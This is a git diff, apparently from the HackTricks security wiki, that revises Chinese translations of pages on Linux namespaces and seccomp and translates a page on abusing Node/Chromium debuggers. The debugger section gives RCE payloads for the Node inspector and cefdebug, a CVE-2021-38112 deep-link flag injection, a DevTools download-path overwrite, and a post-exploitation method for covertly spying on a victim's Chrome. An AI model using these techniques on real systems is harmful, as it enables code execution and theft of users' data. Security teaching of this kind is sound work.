`%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 -通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。 +通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。 @@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name mnt -exec ls -l {} \; 2>/dev/null | g ```bash findmnt ``` -### 进入一个挂载命名空间 +### 进入挂载命名空间 ```bash nsenter -m TARGET_PID --pid /bin/bash ``` diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md index a4147e0ac..3ee1e896c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/network-namespace.md @@ -11,7 +11,7 @@ 1. 当创建一个新的网络命名空间时,它将以**完全隔离的网络栈**开始,**没有网络接口**,除了回环接口(lo)。这意味着在新的网络命名空间中运行的进程默认无法与其他命名空间或主机系统中的进程通信。 2. **虚拟网络接口**,如veth对,可以在网络命名空间之间创建和移动。这允许在命名空间之间或命名空间与主机系统之间建立网络连接。例如,veth对的一端可以放置在容器的网络命名空间中,另一端可以连接到主机命名空间中的**桥接**或其他网络接口,为容器提供网络连接。 3. 命名空间内的网络接口可以拥有**自己的IP地址、路由表和防火墙规则**,与其他命名空间独立。这允许不同网络命名空间中的进程具有不同的网络配置,并像在独立的网络系统上运行一样操作。 -4. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间关联的网络配置和接口。 +4. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWNET`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新的命名空间或创建一个时,它将开始使用与该命名空间相关的网络配置和接口。 ## 实验: @@ -30,7 +30,7 @@ sudo unshare -n [--mount-proc] /bin/bash 当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下: -1. **问题说明**: +1. **问题解释**: - Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。 - 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。 @@ -42,9 +42,9 @@ sudo unshare -n [--mount-proc] /bin/bash 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 -- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。 +- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 -通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,允许 `/bin/bash` 及其子进程在不遇到内存分配错误的情况下运行。 +通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。 @@ -68,7 +68,7 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g ```bash nsenter -n TARGET_PID --pid /bin/bash ``` -此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(例如 `/proc/self/ns/net`)。 +此外,您只能**以 root 身份进入另一个进程命名空间**。并且您**不能**在没有指向它的**描述符**的情况下**进入**其他命名空间(如 `/proc/self/ns/net`)。 ## 参考 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md index 25f387e4a..1727e6f3c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md @@ -8,13 +8,13 @@ PID(进程标识符)命名空间是Linux内核中的一个特性,通过使 当创建一个新的PID命名空间时,该命名空间中的第一个进程被分配PID 1。这个进程成为新命名空间的“init”进程,负责管理该命名空间内的其他进程。在命名空间内创建的每个后续进程将拥有该命名空间内的唯一PID,这些PID将独立于其他命名空间中的PID。 -从PID命名空间内进程的角度来看,它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程,也无法使用传统的进程管理工具(例如,`kill`、`wait`等)与它们交互。这提供了一种隔离级别,有助于防止进程相互干扰。 +从PID命名空间内一个进程的角度来看,它只能看到同一命名空间中的其他进程。它无法感知其他命名空间中的进程,也无法使用传统的进程管理工具(例如,`kill`、`wait`等)与它们交互。这提供了一种隔离级别,有助于防止进程相互干扰。 ### 工作原理: 1. 当创建一个新进程时(例如,通过使用`clone()`系统调用),该进程可以被分配到一个新的或现有的PID命名空间。**如果创建了一个新命名空间,该进程将成为该命名空间的“init”进程**。 2. **内核**维护一个**新命名空间中的PID与父命名空间中相应PID之间的映射**(即,从中创建新命名空间的命名空间)。这个映射**允许内核在必要时翻译PID**,例如在不同命名空间中的进程之间发送信号时。 -3. **PID命名空间内的进程只能看到并与同一命名空间中的其他进程交互**。它们无法感知其他命名空间中的进程,并且它们的PID在其命名空间内是唯一的。 +3. **PID命名空间中的进程只能看到并与同一命名空间中的其他进程交互**。它们无法感知其他命名空间中的进程,并且它们的PID在其命名空间内是唯一的。 4. 当**PID命名空间被销毁**(例如,当命名空间的“init”进程退出时),**该命名空间内的所有进程都将被终止**。这确保与命名空间相关的所有资源都得到妥善清理。 ## 实验: @@ -49,7 +49,7 @@ sudo unshare -pf --mount-proc /bin/bash -通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离视图**。 +通过挂载新的 `/proc` 文件系统实例,如果使用参数 `--mount-proc`,您可以确保新的挂载命名空间具有 **特定于该命名空间的进程信息的准确和隔离的视图**。 #### Docker ```bash @@ -64,13 +64,13 @@ lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]' ```bash sudo find /proc -maxdepth 3 -type l -name pid -exec readlink {} \; 2>/dev/null | sort -u ``` -请注意,初始(默认)PID 命名空间中的 root 用户可以看到所有进程,包括新 PID 命名空间中的进程,这就是我们可以看到所有 PID 命名空间的原因。 +请注意,初始(默认)PID命名空间中的root用户可以看到所有进程,甚至是新PID命名空间中的进程,这就是我们可以看到所有PID命名空间的原因。 -### 进入 PID 命名空间 +### 进入PID命名空间 ```bash nsenter -t TARGET_PID --pid /bin/bash ``` -当你从默认命名空间进入一个 PID 命名空间时,你仍然能够看到所有的进程。而来自该 PID 命名空间的进程将能够看到 PID 命名空间中的新 bash。 +当你从默认命名空间进入一个 PID 命名空间时,你仍然能够看到所有的进程。而来自该 PID 命名空间的进程将能够看到新的 bash 进程。 此外,你只能 **在你是 root 的情况下进入另一个进程的 PID 命名空间**。并且你 **不能** **进入** 其他命名空间 **而没有指向它的描述符**(如 `/proc/self/ns/pid`) diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md index 5c5aa0b97..551f9dfe6 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md @@ -22,7 +22,7 @@ sudo unshare -T [--mount-proc] /bin/bash 当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下: -1. **问题说明**: +1. **问题解释**: - Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。 - 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。 @@ -30,7 +30,7 @@ sudo unshare -T [--mount-proc] /bin/bash 2. **后果**: -- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 错误。 +- 新命名空间中 PID 1 的退出导致 `PIDNS_HASH_ADDING` 标志的清理。这导致 `alloc_pid` 函数在创建新进程时无法分配新的 PID,从而产生 "无法分配内存" 的错误。 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md index 1a1ee2916..d289f9d8c 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md @@ -4,16 +4,16 @@ ## 基本信息 -用户命名空间是一个Linux内核特性,**提供用户和组ID映射的隔离**,允许每个用户命名空间拥有**自己的一组用户和组ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**,即使它们在数字上共享相同的用户和组ID。 +用户命名空间是一个 Linux 内核特性,**提供用户和组 ID 映射的隔离**,允许每个用户命名空间拥有**自己的一组用户和组 ID**。这种隔离使得在不同用户命名空间中运行的进程**可以拥有不同的权限和所有权**,即使它们在数字上共享相同的用户和组 ID。 -用户命名空间在容器化中特别有用,每个容器应该拥有自己独立的一组用户和组ID,从而在容器与主机系统之间提供更好的安全性和隔离。 +用户命名空间在容器化中特别有用,每个容器应该拥有自己独立的用户和组 ID 集,从而在容器与主机系统之间提供更好的安全性和隔离。 ### 工作原理: -1. 当创建一个新的用户命名空间时,它**以一个空的用户和组ID映射集开始**。这意味着在新的用户命名空间中运行的任何进程**最初在命名空间外没有权限**。 -2. 可以在新命名空间中的用户和组ID与父(或主机)命名空间中的ID之间建立ID映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组ID相对应的权限和所有权**。然而,ID映射可以限制在特定范围和ID子集内,从而对新命名空间中进程所授予的权限进行细粒度控制。 -3. 在用户命名空间内,**进程可以对命名空间内的操作拥有完全的root权限(UID 0)**,同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似root的能力运行,而不在主机系统上拥有完全的root权限**。 -4. 进程可以使用`setns()`系统调用在命名空间之间移动,或使用带有`CLONE_NEWUSER`标志的`unshare()`或`clone()`系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时,它将开始使用与该命名空间关联的用户和组ID映射。 +1. 当创建一个新的用户命名空间时,它**以一个空的用户和组 ID 映射集开始**。这意味着在新的用户命名空间中运行的任何进程**最初在命名空间外没有权限**。 +2. 可以在新命名空间中的用户和组 ID 与父(或主机)命名空间中的 ID 之间建立 ID 映射。这**允许新命名空间中的进程拥有与父命名空间中的用户和组 ID 相对应的权限和所有权**。然而,ID 映射可以限制在特定范围和子集的 ID 上,从而对新命名空间中授予进程的权限进行细粒度控制。 +3. 在用户命名空间内,**进程可以对命名空间内的操作拥有完全的 root 权限(UID 0)**,同时在命名空间外仍然拥有有限的权限。这允许**容器在其自己的命名空间内以类似 root 的能力运行,而不在主机系统上拥有完全的 root 权限**。 +4. 进程可以使用 `setns()` 系统调用在命名空间之间移动,或使用带有 `CLONE_NEWUSER` 标志的 `unshare()` 或 `clone()` 系统调用创建新的命名空间。当进程移动到新命名空间或创建一个新命名空间时,它将开始使用与该命名空间相关联的用户和组 ID 映射。 ## 实验: @@ -31,7 +31,7 @@ sudo unshare -U [--mount-proc] /bin/bash 当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下: -1. **问题说明**: +1. **问题解释**: - Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。 - 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。 @@ -43,7 +43,7 @@ sudo unshare -U [--mount-proc] /bin/bash 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 -- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 +- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 的过早退出,并允许正常的 PID 分配。 通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md index 867bd82d3..9e279ccfc 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md +++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/uts-namespace.md @@ -4,7 +4,7 @@ ## 基本信息 -UTS(UNIX时间共享系统)命名空间是一个Linux内核特性,提供了**两个系统标识符的隔离**:**主机名**和**NIS**(网络信息服务)域名。这种隔离允许每个UTS命名空间拥有**自己的独立主机名和NIS域名**,这在容器化场景中特别有用,因为每个容器应该看起来像一个具有自己主机名的独立系统。 +UTS(UNIX时间共享系统)命名空间是一个Linux内核特性,它提供了**两个系统标识符的隔离**:**主机名**和**NIS**(网络信息服务)域名。这种隔离允许每个UTS命名空间拥有**自己的独立主机名和NIS域名**,这在容器化场景中特别有用,因为每个容器应该看起来像是一个具有自己主机名的独立系统。 ### 工作原理: @@ -28,7 +28,7 @@ sudo unshare -u [--mount-proc] /bin/bash 当 `unshare` 在没有 `-f` 选项的情况下执行时,由于 Linux 处理新的 PID(进程 ID)命名空间的方式,会遇到错误。关键细节和解决方案如下: -1. **问题解释**: +1. **问题说明**: - Linux 内核允许进程使用 `unshare` 系统调用创建新的命名空间。然而,启动新 PID 命名空间创建的进程(称为 "unshare" 进程)并不会进入新的命名空间;只有它的子进程会进入。 - 运行 `%unshare -p /bin/bash%` 会在与 `unshare` 相同的进程中启动 `/bin/bash`。因此,`/bin/bash` 及其子进程位于原始 PID 命名空间中。 @@ -40,9 +40,9 @@ sudo unshare -u [--mount-proc] /bin/bash 3. **解决方案**: - 通过在 `unshare` 中使用 `-f` 选项可以解决此问题。此选项使 `unshare` 在创建新的 PID 命名空间后分叉一个新进程。 -- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。`/bin/bash` 及其子进程随后安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 +- 执行 `%unshare -fp /bin/bash%` 确保 `unshare` 命令本身在新命名空间中成为 PID 1。然后,`/bin/bash` 及其子进程安全地包含在这个新命名空间中,防止 PID 1 提前退出,并允许正常的 PID 分配。 -通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行而不会遇到内存分配错误。 +通过确保 `unshare` 以 `-f` 标志运行,新的 PID 命名空间得以正确维护,使得 `/bin/bash` 及其子进程能够正常运行,而不会遇到内存分配错误。 diff --git a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md index dffadbd2c..5a15e744e 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/seccomp.md +++ b/src/linux-hardening/privilege-escalation/docker-security/seccomp.md @@ -46,7 +46,7 @@ printf("You will not see this message--the process will be killed first\n"); ``` ### Seccomp-bpf -此模式允许**使用可配置策略过滤系统调用**,该策略使用伯克利数据包过滤器规则实现。 +此模式允许**使用可配置策略过滤系统调用**,该策略是通过伯克利数据包过滤器规则实现的。 ```c:seccomp_bpf.c #include #include @@ -111,7 +111,7 @@ hello-world docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname ``` > [!NOTE] -> 如果您仅仅是使用 **Docker 启动一个应用程序**,您可以使用 **`strace`** 对其进行 **分析**,并 **仅允许** 它所需的系统调用 +> 如果您仅仅是使用 **Docker 启动一个应用程序**,您可以使用 **`strace`** 对其进行 **分析**,并 **仅允许它所需的系统调用** ### 示例 Seccomp 策略 diff --git a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md index bd7e690a5..937bfd368 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md +++ b/src/linux-hardening/privilege-escalation/docker-security/weaponizing-distroless.md @@ -19,12 +19,12 @@ Distroless 容器通常用于 **安全性和可靠性至关重要的生产环境 ### 通过内存 -将在 2023 年的某个时候... +将在 2023 年的某个时候发布... ### 通过现有二进制文件 #### openssl -\***\*[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是 **软件所需的**,该软件将在容器内运行。 +\***\*[**在这篇文章中,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) 解释了二进制文件 **`openssl`** 经常出现在这些容器中,可能是因为它是 **所需的\*\* 由将在容器内运行的软件。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md index 1aa065326..5040d07d9 100644 --- a/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md +++ b/src/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md @@ -2,17 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): When started with the `--inspect` switch, a Node.js process listens for a debugging client. By **default**, it will listen at host and port **`127.0.0.1:9229`**. Each process is also assigned a **unique** **UUID**. +[来自文档](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started):当使用 `--inspect` 开关启动时,Node.js 进程会监听调试客户端。**默认情况下**,它将在主机和端口 **`127.0.0.1:9229`** 上监听。每个进程还会分配一个 **唯一** 的 **UUID**。 -Inspector clients must know and specify host address, port, and UUID to connect. A full URL will look something like `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`. +调试客户端必须知道并指定主机地址、端口和 UUID 以进行连接。完整的 URL 看起来像 `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`。 > [!WARNING] -> Since the **debugger has full access to the Node.js execution environment**, a malicious actor able to connect to this port may be able to execute arbitrary code on behalf of the Node.js process (**potential privilege escalation**). - -There are several ways to start an inspector: +> 由于 **调试器对 Node.js 执行环境具有完全访问权限**,能够连接到此端口的恶意行为者可能能够代表 Node.js 进程执行任意代码(**潜在的特权提升**)。 +启动调试器有几种方法: ```bash node --inspect app.js #Will run the inspector in port 9229 node --inspect=4444 app.js #Will run the inspector in port 4444 @@ -23,58 +22,48 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po node --inspect --inspect-port=0 app.js #Will run the inspector in a random port # Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector ``` - -When you start an inspected process something like this will appear: - +当你启动一个被检查的进程时,类似这样的内容将会出现: ``` Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d For help, see: https://nodejs.org/en/docs/inspector ``` +基于 **CEF** (**Chromium Embedded Framework**) 的进程需要使用参数: `--remote-debugging-port=9222` 来打开 **debugger**(SSRF 保护仍然非常相似)。然而,它们 **而不是** 授予 **NodeJS** **debug** 会话,而是使用 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 与浏览器进行通信,这是一个控制浏览器的接口,但没有直接的 RCE。 -Processes based on **CEF** (**Chromium Embedded Framework**) like need to use the param: `--remote-debugging-port=9222` to open de **debugger** (the SSRF protections remain very similar). However, they **instead** of granting a **NodeJS** **debug** session will communicate with the browser using the [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), this is an interface to control the browser, but there isn't a direct RCE. - -When you start a debugged browser something like this will appear: - +当你启动一个调试的浏览器时,类似这样的内容将会出现: ``` DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369 ``` +### 浏览器、WebSockets 和同源政策 -### Browsers, WebSockets and same-origin policy - -Websites open in a web-browser can make WebSocket and HTTP requests under the browser security model. An **initial HTTP connection** is necessary to **obtain a unique debugger session id**. The **same-origin-policy** **prevents** websites from being able to make **this HTTP connection**. For additional security against [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js verifies that the **'Host' headers** for the connection either specify an **IP address** or **`localhost`** or **`localhost6`** precisely. +在网页浏览器中打开的网站可以在浏览器安全模型下进行 WebSocket 和 HTTP 请求。**初始 HTTP 连接**是**获取唯一调试器会话 ID**所必需的。**同源政策****防止**网站能够进行**此 HTTP 连接**。为了防止 [**DNS 重新绑定攻击**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js 验证连接的**'Host' 头**是否精确指定了**IP 地址**或**`localhost`**或**`localhost6`**。 > [!NOTE] -> This **security measures prevents exploiting the inspector** to run code by **just sending a HTTP request** (which could be done exploiting a SSRF vuln). +> 该**安全措施防止利用检查器**通过**仅发送 HTTP 请求**(这可以通过利用 SSRF 漏洞来完成)来运行代码。 -### Starting inspector in running processes - -You can send the **signal SIGUSR1** to a running nodejs process to make it **start the inspector** in the default port. However, note that you need to have enough privileges, so this might grant you **privileged access to information inside the process** but no a direct privilege escalation. +### 在运行进程中启动检查器 +您可以向正在运行的 nodejs 进程发送**信号 SIGUSR1**以使其在默认端口**启动检查器**。但是,请注意,您需要拥有足够的权限,因此这可能会授予您**对进程内部信息的特权访问**,但不会直接导致权限提升。 ```bash kill -s SIGUSR1 # After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d ``` - > [!NOTE] -> This is useful in containers because **shutting down the process and starting a new one** with `--inspect` is **not an option** because the **container** will be **killed** with the process. +> 这在容器中很有用,因为 **关闭进程并启动一个新进程** 使用 `--inspect` **不是一个选项**,因为 **容器** 将与进程一起 **被终止**。 -### Connect to inspector/debugger +### 连接到检查器/调试器 -To connect to a **Chromium-based browser**, the `chrome://inspect` or `edge://inspect` URLs can be accessed for Chrome or Edge, respectively. By clicking the Configure button, it should be ensured that the **target host and port** are correctly listed. The image shows a Remote Code Execution (RCE) example: +要连接到 **基于Chromium的浏览器**,可以访问 Chrome 或 Edge 的 `chrome://inspect` 或 `edge://inspect` URL。通过点击配置按钮,应该确保 **目标主机和端口** 正确列出。图像显示了一个远程代码执行 (RCE) 示例: ![](<../../images/image (674).png>) -Using the **command line** you can connect to a debugger/inspector with: - +使用 **命令行**,您可以通过以下方式连接到调试器/检查器: ```bash node inspect : node inspect 127.0.0.1:9229 # RCE example from debug console debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')") ``` - -The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), allows to **find inspectors** running locally and **inject code** into them. - +该工具 [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) 允许 **查找** 本地运行的检查器并 **注入代码**。 ```bash #List possible vulnerable sockets ./cefdebug.exe @@ -83,76 +72,67 @@ The tool [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefd #Exploit it ./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')" ``` +> [!NOTE] +> 请注意,**NodeJS RCE 漏洞将无法工作**,如果通过 [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) 连接到浏览器(您需要检查 API 以找到有趣的事情来做)。 + +## NodeJS 调试器/检查器中的 RCE > [!NOTE] -> Note that **NodeJS RCE exploits won't work** if connected to a browser via [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/) (you need to check the API to find interesting things to do with it). - -## RCE in NodeJS Debugger/Inspector - -> [!NOTE] -> If you came here looking how to get [**RCE from a XSS in Electron please check this page.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) - -Some common ways to obtain **RCE** when you can **connect** to a Node **inspector** is using something like (looks that this **won't work in a connection to Chrome DevTools protocol**): +> 如果您来这里是想了解如何从 Electron 中的 [**XSS 获取 RCE,请查看此页面。**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/) +一些常见的方法来获得 **RCE** 当您可以 **连接** 到 Node **检查器** 时是使用类似的东西(看起来这 **在连接到 Chrome DevTools 协议时将无法工作**): ```javascript process.mainModule.require("child_process").exec("calc") window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe") require("child_process").spawnSync("calc.exe") Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" })) ``` - ## Chrome DevTools Protocol Payloads -You can check the API here: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ -In this section I will just list interesting things I find people have used to exploit this protocol. +您可以在此处查看 API: [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\ +在本节中,我将列出我发现人们用来利用此协议的有趣内容。 -### Parameter Injection via Deep Links +### 通过深层链接进行参数注入 -In the [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security discovered that an application based on CEF **registered a custom UR**I in the system (workspaces://) that received the full URI and then **launched the CEF based applicatio**n with a configuration that was partially constructing from that URI. +在 [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) 中,Rhino 安全发现基于 CEF 的应用程序 **在系统中注册了一个自定义 URI** (workspaces://),该 URI 接收完整的 URI,然后 **使用部分构造的配置启动 CEF 基于的应用程序**。 -It was discovered that the URI parameters where URL decoded and used to launch the CEF basic application, allowing a user to **inject** the flag **`--gpu-launcher`** in the **command line** and execute arbitrary things. - -So, a payload like: +发现 URI 参数被 URL 解码并用于启动 CEF 基本应用程序,允许用户在 **命令行** 中 **注入** 标志 **`--gpu-launcher`** 并执行任意操作。 +因此,像这样的有效载荷: ``` workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE ``` +将执行 calc.exe。 -Will execute a calc.exe. - -### Overwrite Files - -Change the folder where **downloaded files are going to be saved** and download a file to **overwrite** frequently used **source code** of the application with your **malicious code**. +### 覆盖文件 +更改 **下载文件将要保存的文件夹**,并下载一个文件以 **覆盖** 应用程序中常用的 **源代码**,用你的 **恶意代码** 替换。 ```javascript ws = new WebSocket(url) //URL of the chrome devtools service ws.send( - JSON.stringify({ - id: 42069, - method: "Browser.setDownloadBehavior", - params: { - behavior: "allow", - downloadPath: "/code/", - }, - }) +JSON.stringify({ +id: 42069, +method: "Browser.setDownloadBehavior", +params: { +behavior: "allow", +downloadPath: "/code/", +}, +}) ) ``` +### Webdriver RCE 和外泄 -### Webdriver RCE and exfiltration +根据这篇文章:[https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148),可以获得 RCE 并从 theriver 中外泄内部页面。 -According to this post: [https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148) it's possible to obtain RCE and exfiltrate internal pages from theriver. +### 后期利用 -### Post-Exploitation - -In a real environment and **after compromising** a user PC that uses Chrome/Chromium based browser you could launch a Chrome process with the **debugging activated and port-forward the debugging port** so you can access it. This way you will be able to **inspect everything the victim does with Chrome and steal sensitive information**. - -The stealth way is to **terminate every Chrome process** and then call something like +在真实环境中,**在攻陷**使用 Chrome/Chromium 浏览器的用户 PC 后,您可以启动一个 Chrome 进程,**激活调试并转发调试端口**,以便您可以访问它。这样,您将能够**检查受害者在 Chrome 中所做的一切并窃取敏感信息**。 +隐秘的方法是**终止每个 Chrome 进程**,然后调用类似于 ```bash Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session" ``` - -## References +## 参考文献 - [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s) - [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug) diff --git a/src/linux-hardening/privilege-escalation/escaping-from-limited-bash.md 